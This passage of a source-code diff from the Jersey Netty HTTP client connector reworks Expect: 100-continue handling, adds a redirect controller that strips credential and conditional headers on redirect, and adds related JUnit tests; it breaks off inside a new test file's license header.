-            HttpResponseStatus.UNAUTHORIZED, HttpResponseStatus.EXPECTATION_FAILED,
-            HttpResponseStatus.METHOD_NOT_ALLOWED, HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE);
+    private static final List<HttpResponseStatus> finalErrorStatuses = Arrays.asList(HttpResponseStatus.UNAUTHORIZED,
+            HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE);
+    private static final List<HttpResponseStatus> reSendErrorStatuses = Arrays.asList(
+            HttpResponseStatus.METHOD_NOT_ALLOWED,
+            HttpResponseStatus.EXPECTATION_FAILED);
 
-    private CompletableFuture<HttpResponseStatus> expectedFuture = new CompletableFuture<>();
+    private static final List<HttpResponseStatus> statusesToBeConsidered = new ArrayList<>(reSendErrorStatuses);
+
+    static {
+        statusesToBeConsidered.addAll(finalErrorStatuses);
+        statusesToBeConsidered.add(HttpResponseStatus.CONTINUE);
+    }
+
+    private HttpResponseStatus status = null;
+
+    private CountDownLatch latch = null;
+
+    private boolean propagateLastMessage = false;
 
     @Override
     public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
-        if (isExpected && msg instanceof HttpResponse) {
-            final HttpResponse response = (HttpResponse) msg;
-            if (statusesToBeConsidered.contains(response.status())) {
-                expectedFuture.complete(response.status());
-            }
-            if (!HttpResponseStatus.CONTINUE.equals(response.status())) {
+
+        if (checkExpectResponse(msg) || checkInvalidExpect(msg)) {
+            currentState = ExpectationState.AWAITING;
+        }
+        switch (currentState) {
+            case AWAITING:
+                final HttpResponse response = (HttpResponse) msg;
+                status = response.status();
+                boolean handshakeDone = processErrorStatuses(status) || msg instanceof FullHttpMessage;
+                currentState = (handshakeDone) ? ExpectationState.IDLE : ExpectationState.FINISHING;
+                processLatch();
+                return;
+            case FINISHING:
+                if (msg instanceof LastHttpContent) {
+                    currentState = ExpectationState.IDLE;
+                    if (propagateLastMessage) {
+                        propagateLastMessage = false;
+                        ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);
+                    }
+                }
+                return;
+            default:
                 ctx.fireChannelRead(msg); //bypass the message to the next handler in line
-            } else {
-                ctx.pipeline().remove(JerseyExpectContinueHandler.class);
-            }
-        } else {
-            if (!isExpected
-                    && ctx.pipeline().context(JerseyExpectContinueHandler.class) != null) {
-                ctx.pipeline().remove(JerseyExpectContinueHandler.class);
-            }
-            ctx.fireChannelRead(msg); //bypass the message to the next handler in line
         }
     }
 
-    CompletableFuture<HttpResponseStatus> processExpect100ContinueRequest(HttpRequest nettyRequest,
-                                                                          ClientRequest jerseyRequest,
-                                                                          Channel ch,
-                                                                          Integer timeout)
-            throws InterruptedException, ExecutionException, TimeoutException {
-        //check for 100-Continue presence/availability
-        final Expect100ContinueConnectorExtension expect100ContinueExtension
-                = new Expect100ContinueConnectorExtension();
-
-        final DefaultFullHttpRequest nettyRequestHeaders =
-                new DefaultFullHttpRequest(nettyRequest.protocolVersion(), nettyRequest.method(), nettyRequest.uri());
-        nettyRequestHeaders.headers().setAll(nettyRequest.headers());
-
-        if (!nettyRequestHeaders.headers().contains(HttpHeaderNames.HOST)) {
-            nettyRequestHeaders.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+    private boolean checkExpectResponse(Object msg) {
+        if (currentState == ExpectationState.IDLE && latch != null && msg instanceof HttpResponse) {
+            return statusesToBeConsidered.contains(((HttpResponse) msg).status());
         }
-
-        //If Expect:100-continue feature is enabled and client supports it, the nettyRequestHeaders will be
-        //enriched with the 'Expect:100-continue' header.
-        expect100ContinueExtension.invoke(jerseyRequest, nettyRequestHeaders);
-
-        final ChannelFuture expect100ContinueFuture = (HttpUtil.is100ContinueExpected(nettyRequestHeaders))
-                // Send only head of the HTTP request enriched with Expect:100-continue header.
-                ? ch.writeAndFlush(nettyRequestHeaders)
-                // Expect:100-Continue either is not supported or is turned off
-                : null;
-        isExpected = expect100ContinueFuture != null;
-        if (!isExpected) {
-            ch.pipeline().remove(JerseyExpectContinueHandler.class);
-        } else {
-            final HttpResponseStatus status = expectedFuture
-                    .get(timeout, TimeUnit.MILLISECONDS);
-
-            processExpectationStatus(status);
-        }
-        return expectedFuture;
+        return false;
     }
 
-    private void processExpectationStatus(HttpResponseStatus status)
-            throws TimeoutException {
+    private boolean checkInvalidExpect(Object msg) {
+        return (ExpectationState.IDLE.equals(currentState)
+                && msg instanceof HttpResponse
+                && (HttpResponseStatus.CONTINUE.equals(((HttpResponse) msg).status())
+                       || reSendErrorStatuses.contains(((HttpResponse) msg).status()))
+        );
+    }
+
+    boolean processErrorStatuses(HttpResponseStatus status) {
+        if (reSendErrorStatuses.contains(status)) {
+            propagateLastMessage = true;
+        }
+        return (finalErrorStatuses.contains(status));
+    }
+
+    void processExpectationStatus()
+            throws TimeoutException, IOException {
+        if (status == null) {
+            throw new TimeoutException(); // continue without expectations
+        }
         if (!statusesToBeConsidered.contains(status)) {
             throw new ProcessingException(LocalizationMessages
                     .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null);
         }
-        if (!expectedFuture.isDone() || HttpResponseStatus.EXPECTATION_FAILED.equals(status)) {
-            isExpected = false;
-            throw new TimeoutException(); // continue without expectations
+
+        if (finalErrorStatuses.contains(status)) {
+            throw new IOException(LocalizationMessages
+                    .EXPECT_100_CONTINUE_FAILED_REQUEST_FAILED(), null);
         }
-        if (!HttpResponseStatus.CONTINUE.equals(status)) {
-            throw new ProcessingException(LocalizationMessages
-                    .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null);
+
+        if (reSendErrorStatuses.contains(status)) {
+            throw new TimeoutException(LocalizationMessages
+                    .EXPECT_100_CONTINUE_FAILED_REQUEST_SHOULD_BE_RESENT()); // Re-send request without expectations
+        }
+
+    }
+
+    void resetHandler() {
+        latch = null;
+    }
+
+    void attachCountDownLatch(CountDownLatch latch) {
+        this.latch = latch;
+    }
+
+    private void processLatch() {
+        if (latch != null) {
+            latch.countDown();
         }
     }
 
-    boolean isExpected() {
-        return isExpected;
+    private enum ExpectationState {
+        AWAITING,
+        FINISHING,
+        IDLE
     }
-}
\ No newline at end of file
+}
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
index 562edad..4b2e4c9 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -57,6 +57,15 @@
 
     /**
      * <p>
+     *     The implementation of custom {@link NettyHttpRedirectController} redirect logic.
+     * </p>
+     *
+     * @since 2.47
+     */
+    public static final String HTTP_REDIRECT_CONTROLLER = "jersey.config.client.netty.http.redirect.controller";
+
+    /**
+     * <p>
      *    This property determines the number of seconds the idle connections are kept in the pool before pruned.
      *    The default is 60. Specify 0 to disable.
      *  </p>
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
index ebdfda4..a65560c 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,6 @@
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionException;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutionException;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
@@ -68,6 +67,7 @@
 import io.netty.handler.codec.http.HttpRequest;
 import io.netty.handler.codec.http.HttpUtil;
 import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.LastHttpContent;
 import io.netty.handler.proxy.HttpProxyHandler;
 import io.netty.handler.proxy.ProxyHandler;
 import io.netty.handler.ssl.ApplicationProtocolConfig;
@@ -255,6 +255,8 @@
                }
             }
 
+            final JerseyExpectContinueHandler expect100ContinueHandler = new JerseyExpectContinueHandler();
+
             if (chan == null) {
                Integer connectTimeout = jerseyRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, 0);
                Bootstrap b = new Bootstrap();
@@ -327,8 +329,8 @@
                      final Integer maxInitialLineLength = ClientProperties.getValue(config.getProperties(),
                                 NettyClientProperties.MAX_INITIAL_LINE_LENGTH,
                                 NettyClientProperties.DEFAULT_INITIAL_LINE_LENGTH);
-
                      p.addLast(new HttpClientCodec(maxInitialLineLength, maxHeaderSize, maxChunkSize));
+                     p.addLast(EXPECT_100_CONTINUE_HANDLER, expect100ContinueHandler);
                      p.addLast(new ChunkedWriteHandler());
                      p.addLast(new HttpContentDecompressor());
                     }
@@ -357,11 +359,10 @@
             final Channel ch = chan;
             JerseyClientHandler clientHandler =
                     new JerseyClientHandler(jerseyRequest, responseAvailable, responseDone, redirectUriHistory, this);
-            final JerseyExpectContinueHandler expect100ContinueHandler = new JerseyExpectContinueHandler();
+
             // read timeout makes sense really as an inactivity timeout
             ch.pipeline().addLast(READ_TIMEOUT_HANDLER,
                                   new IdleStateHandler(0, 0, timeout, TimeUnit.MILLISECONDS));
-            ch.pipeline().addLast(EXPECT_100_CONTINUE_HANDLER, expect100ContinueHandler);
             ch.pipeline().addLast(REQUEST_HANDLER, clientHandler);
 
             responseDone.whenComplete((_r, th) -> {
@@ -444,29 +445,23 @@
 //                      // Set later after the entity is "written"
 //                      break;
                 }
-                try {
-                    expect100ContinueHandler.processExpect100ContinueRequest(nettyRequest, jerseyRequest,
-                            ch, expect100ContinueTimeout);
-                } catch (ExecutionException e) {
-                    responseDone.completeExceptionally(e);
-                } catch (TimeoutException e) {
-                    //Expect:100-continue allows timeouts by the spec
-                    //just removing the pipeline from processing
-                    if (ch.pipeline().context(JerseyExpectContinueHandler.class) != null) {
-                        ch.pipeline().remove(EXPECT_100_CONTINUE_HANDLER);
-                    }
-                }
 
                 final CountDownLatch headersSet = new CountDownLatch(1);
                 final CountDownLatch contentLengthSet = new CountDownLatch(1);
 
+
                 jerseyRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
                     @Override
                     public OutputStream getOutputStream(int contentLength) throws IOException {
-                        replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes
-                        setHostHeader(jerseyRequest, nettyRequest);
-                        headersSet.countDown();
-
+                        try {
+                            replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes
+                            setHostHeader(jerseyRequest, nettyRequest);
+                        } catch (Exception e) {
+                            responseDone.completeExceptionally(e);
+                            throw new IOException(e);
+                        } finally {
+                            headersSet.countDown();
+                        }
                         return entityWriter.getOutputStream();
                     }
                 });
@@ -479,25 +474,55 @@
 
                         try {
                             jerseyRequest.writeEntity();
-
                             if (entityWriter.getType() == NettyEntityWriter.Type.DELAYED) {
                                 nettyRequest.headers().set(HttpHeaderNames.CONTENT_LENGTH, entityWriter.getLength());
                                 contentLengthSet.countDown();
                             }
 
-                        } catch (IOException e) {
+                        } catch (Exception e) {
+                            if (entityWriter.getChunkedInput() != null) {
+                                try {
+                                    entityWriter.getChunkedInput().close();
+                                } catch (Exception ex) {
+                                    // Ignore ex in favor of e
+                                }
+                            }
                             responseDone.completeExceptionally(e);
                         }
                     }
                 });
 
                 headersSet.await();
-                if (!expect100ContinueHandler.isExpected()) {
-                    // Send the HTTP request. Expect:100-continue processing is not applicable
-                    // in this case.
+                new Expect100ContinueConnectorExtension().invoke(jerseyRequest, nettyRequest);
+
+                boolean continueExpected = HttpUtil.is100ContinueExpected(nettyRequest);
+                boolean expectationsFailed  = false;
+
+                if (continueExpected) {
+                    final CountDownLatch expect100ContinueLatch = new CountDownLatch(1);
+                    expect100ContinueHandler.attachCountDownLatch(expect100ContinueLatch);
+                    //send expect request, sync and wait till either response or timeout received
                     entityWriter.writeAndFlush(nettyRequest);
+                    expect100ContinueLatch.await(expect100ContinueTimeout, TimeUnit.MILLISECONDS);
+                    try {
+                        expect100ContinueHandler.processExpectationStatus();
+                    } catch (TimeoutException e) {
+                        //Expect:100-continue allows timeouts by the spec
+                        //so, send request directly without Expect header.
+                        expectationsFailed = true;
+                    } finally {
+                        //restore request and handler to the original state.
+                        HttpUtil.set100ContinueExpected(nettyRequest, false);
+                        expect100ContinueHandler.resetHandler();
+                    }
                 }
 
+                if (!continueExpected || expectationsFailed) {
+                    if (expectationsFailed) {
+                        ch.pipeline().writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT).sync();
+                    }
+                    entityWriter.writeAndFlush(nettyRequest);
+                }
                 if (HttpUtil.isTransferEncodingChunked(nettyRequest)) {
                     entityWriter.write(new HttpChunkedInput(entityWriter.getChunkedInput()));
                 } else {
@@ -620,7 +645,7 @@
         if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) {
             int requestPort = jerseyRequest.getUri().getPort();
             final String hostHeader;
-            if (requestPort != 80 && requestPort != 443) {
+            if (requestPort != -1 && requestPort != 80 && requestPort != 443) {
                 hostHeader = jerseyRequest.getUri().getHost() + ":" + requestPort;
             } else {
                 hostHeader = jerseyRequest.getUri().getHost();
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyHttpRedirectController.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyHttpRedirectController.java
new file mode 100644
index 0000000..670be3e
--- /dev/null
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyHttpRedirectController.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.http.HttpHeaders;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+/**
+ * The HTTP Redirect logic implementation for Netty Connector.
+ *
+ * @since 2.47
+ */
+public class NettyHttpRedirectController {
+
+    /**
+     * Configure the HTTP request after HTTP Redirect response has been received.
+     * By default, the HTTP POST request is transformed into HTTP GET for status 301 & 302.
+     * Also, HTTP Headers described by RFC 9110 Section 15.4 are removed from the new HTTP Request.
+     *
+     * @param request The new {@link ClientRequest} to be sent to the redirected URI.
+     * @param response The original HTTP redirect {@link ClientResponse} received.
+     * @return {@code true} when the new request should be sent.
+     */
+    public boolean prepareRedirect(ClientRequest request, ClientResponse response) {
+        final Boolean keepMethod = request.resolveProperty(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, Boolean.TRUE);
+
+        if (Boolean.FALSE.equals(keepMethod) && request.getMethod().equals(HttpMethod.POST)) {
+            switch (response.getStatus()) {
+                case 301 /* MOVED PERMANENTLY */:
+                case 302 /* FOUND */:
+                    removeContentHeaders(request.getHeaders());
+                    request.setMethod(HttpMethod.GET);
+                    request.setEntity(null);
+                    break;
+            }
+        }
+
+        restrictRequestHeaders(request, response);
+        return true;
+    }
+
+    /**
+     * RFC 9110 Section 15.4 defines the HTTP headers that should be removed from the redirected request.
+     * https://httpwg.org/specs/rfc9110.html#rfc.section.15.4.
+     *
+     * @param request the new request to a new URI location.
+     * @param response the HTTP redirect response.
+     */
+    protected void restrictRequestHeaders(ClientRequest request, ClientResponse response) {
+        final MultivaluedMap<String, Object> headers = request.getHeaders();
+
+        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
+            final Map.Entry<String, List<Object>> entry = it.next();
+            if (JerseyClientHandler.ProxyHeaders.INSTANCE.test(entry.getKey())) {
+                it.remove();
+            }
+        }
+
+        headers.remove(HttpHeaders.IF_MATCH);
+        headers.remove(HttpHeaders.IF_NONE_MATCH);
+        headers.remove(HttpHeaders.IF_MODIFIED_SINCE);
+        headers.remove(HttpHeaders.IF_UNMODIFIED_SINCE);
+        headers.remove(HttpHeaders.AUTHORIZATION);
+        headers.remove(HttpHeaders.REFERER);
+        headers.remove(HttpHeaders.COOKIE);
+    }
+
+    private void removeContentHeaders(MultivaluedMap<String, Object> headers) {
+        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
+            final Map.Entry<String, List<Object>> entry = it.next();
+            final String lowName = entry.getKey().toLowerCase(Locale.ROOT);
+            if (lowName.startsWith("content-")) {
+                it.remove();
+            }
+        }
+        headers.remove(HttpHeaders.LAST_MODIFIED);
+        headers.remove(HttpHeaders.TRANSFER_ENCODING);
+    }
+
+}
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/internal/JerseyChunkedInput.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/internal/JerseyChunkedInput.java
index 4ffe52e..baa9118 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/internal/JerseyChunkedInput.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/internal/JerseyChunkedInput.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -68,7 +68,8 @@
         ByteBuffer peek = queue.peek();
 
         if ((peek != null && peek == VOID)) {
-            queue.remove(); // VOID from the top.
+            //required for JDK 11 and netty.version = 4.1.121.Final
+            queue.poll(); // VOID from the top.
             open = false;
             removeCloseListener();
             return true;
diff --git a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
index 7d6f9fc..dd5de49 100644
--- a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
+++ b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,3 +23,5 @@
 redirect.infinite.loop="Infinite loop in chained redirects detected."
 redirect.limit.reached="Max chained redirect limit ({0}) exceeded."
 unexpected.value.for.expect.100.continue.statuses=Unexpected value: ("{0}").
+expect.100.continue.failed.request.should.be.resent=Expect 100-continue failed. Request should be resent.
+expect.100.continue.failed.request.failed=Expect 100-continue failed. Request failed.
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/ChunkedInputClosedOnErrorTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/ChunkedInputClosedOnErrorTest.java
new file mode 100644
index 0000000..1d0135d
--- /dev/null
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/ChunkedInputClosedOnErrorTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import io.netty.channel.Channel;
+import io.netty.handler.stream.ChunkedInput;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.netty.connector.internal.NettyEntityWriter;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Bug 5837 reproducer
+ */
+public class ChunkedInputClosedOnErrorTest extends JerseyTest {
+
+    private static Client initClient(ConnectorProvider provider) {
+        ClientConfig defaultConfig = new ClientConfig();
+        defaultConfig.property(ClientProperties.CONNECT_TIMEOUT, 10 * 1000);
+        defaultConfig.property(ClientProperties.READ_TIMEOUT, 10 * 1000);
+        defaultConfig.connectorProvider(provider);
+        Client client = ClientBuilder.newBuilder()
+                .withConfig(defaultConfig)
+                .build();
+        return client;
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig();
+    }
+
+    @Test
+    public void testChunkedInputNotStuckedTimes() throws InterruptedException {
+        for (int i = 0; i != 10; i++) {
+            boolean ret = testChunkedInputNotStucked();
+            Assertions.assertTrue(ret, "JerseyChunkedInput was not closed on error");
+        }
+    }
+
+    public boolean testChunkedInputNotStucked() throws InterruptedException {
+        final AtomicReference<NettyEntityWriter> writer = new AtomicReference<>();
+        final CountDownLatch writerSetLatch = new CountDownLatch(1);
+        final CountDownLatch flushLatch = new CountDownLatch(1);
+        ConnectorProvider provider = new ConnectorProvider() {
+            @Override
+            public Connector getConnector(Client client, Configuration runtimeConfig) {
+                return new NettyConnector(client) {
+                    @Override
+                    NettyEntityWriter nettyEntityWriter(ClientRequest clientRequest, Channel channel) {
+                        writer.set(super.nettyEntityWriter(clientRequest, channel));
+                        writerSetLatch.countDown();
+                        return new NettyEntityWriter() {
+                            private boolean slept = false;
+
+                            @Override
+                            public void write(Object object) {
+                                writer.get().write(object);
+                            }
+
+                            @Override
+                            public void writeAndFlush(Object object) {
+                                writer.get().writeAndFlush(object);
+                            }
+
+                            @Override
+                            public void flush() throws IOException {
+                                writer.get().flush();
+                                flushLatch.countDown();
+                            }
+
+                            @Override
+                            public ChunkedInput getChunkedInput() {
+                                for (StackTraceElement element : Thread.currentThread().getStackTrace()) {
+                                    // caught from catch block in executorService.execute(new Runnable() {
+                                    // "sleep" to simulate race condition
+                                    if (element.getClassName().contains("NettyConnector")
+                                            && element.getMethodName().equals("run")) {
+                                        try {
+                                            flushLatch.await();
+                                        } catch (InterruptedException e) {
+                                            throw new RuntimeException(e);
+                                        }
+                                    }
+                                }
+                                return writer.get().getChunkedInput();
+                            }
+
+                            @Override
+                            public OutputStream getOutputStream() {
+                                return writer.get().getOutputStream();
+                            }
+
+                            @Override
+                            public long getLength() {
+                                return writer.get().getLength();
+                            }
+
+                            @Override
+                            public Type getType() {
+                                return writer.get().getType();
+                            }
+                        };
+                    }
+                };
+            }
+        };
+
+        Client client = initClient(provider);
+        try {
+            Response r = client
+                    .register(new MultipartWriter())
+                    .target(target().getUri()).request()
+                    .post(Entity.entity(new MultipartWriter(), MediaType.MULTIPART_FORM_DATA_TYPE));
+        } catch (ProcessingException expected) {
+
+        }
+        writerSetLatch.await();
+        try {
+            return writer.get().getChunkedInput().isEndOfInput();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static class MultipartWriter implements MessageBodyWriter<Object> {
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return mediaType.equals(MediaType.MULTIPART_FORM_DATA_TYPE);
+        }
+
+        @Override
+        public void writeTo(Object object, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                            MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream) throws IOException,
+                WebApplicationException {
+            throw new IllegalArgumentException("TestException");
+        }
+    }
+
+}
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/CustomRedirectControllerTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/CustomRedirectControllerTest.java
new file mode 100644
index 0000000..d284379
--- /dev/null
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/CustomRedirectControllerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.http.HttpHeaders;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriInfo;
+
+public class CustomRedirectControllerTest extends JerseyTest {
+    private static final String REDIRECTED = "redirected";
+
+    @Path("/")
+    public static class CustomRedirectControllerTestResource {
+        @Context
+        UriInfo uriInfo;
+
+        @GET
+        @Path(REDIRECTED)
+        public String redirected() {
+            return REDIRECTED;
+        }
+
+        @POST
+        @Path("doRedirect")
+        public Response doRedirect(int status) {
+            return Response.status(status)
+                    .header(HttpHeaders.LOCATION, uriInfo.getBaseUri().toString() + "redirected")
+                    .build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(CustomRedirectControllerTestResource.class);
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new NettyConnectorProvider());
+    }
+
+    @Test
+    public void testRedirectToGET() {
+        try (Response r = target("doRedirect")
+                .property(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, false)
+                .request().post(Entity.entity(301, MediaType.TEXT_PLAIN_TYPE))) {
+            MatcherAssert.assertThat(r.getStatus(), Matchers.is(200));
+            MatcherAssert.assertThat(r.readEntity(String.class), Matchers.is(REDIRECTED));
+        }
+    }
+
+    @Test
+    public void testNotRedirected() {
+        try (Response response = target("doRedirect")
+                .property(NettyClientProperties.HTTP_REDIRECT_CONTROLLER, new NettyHttpRedirectController() {
+                    @Override
+                    public boolean prepareRedirect(ClientRequest request, ClientResponse response) {
+                        return false;
+                    }
+                }).request().post(Entity.entity(301, MediaType.TEXT_PLAIN_TYPE))) {
+            MatcherAssert.assertThat(response.getStatus(), Matchers.is(301));
+        }
+    }
+}
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/EmptyHeaderTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/EmptyHeaderTest.java
new file mode 100644
index 0000000..f47ab20
--- /dev/null
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/EmptyHeaderTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
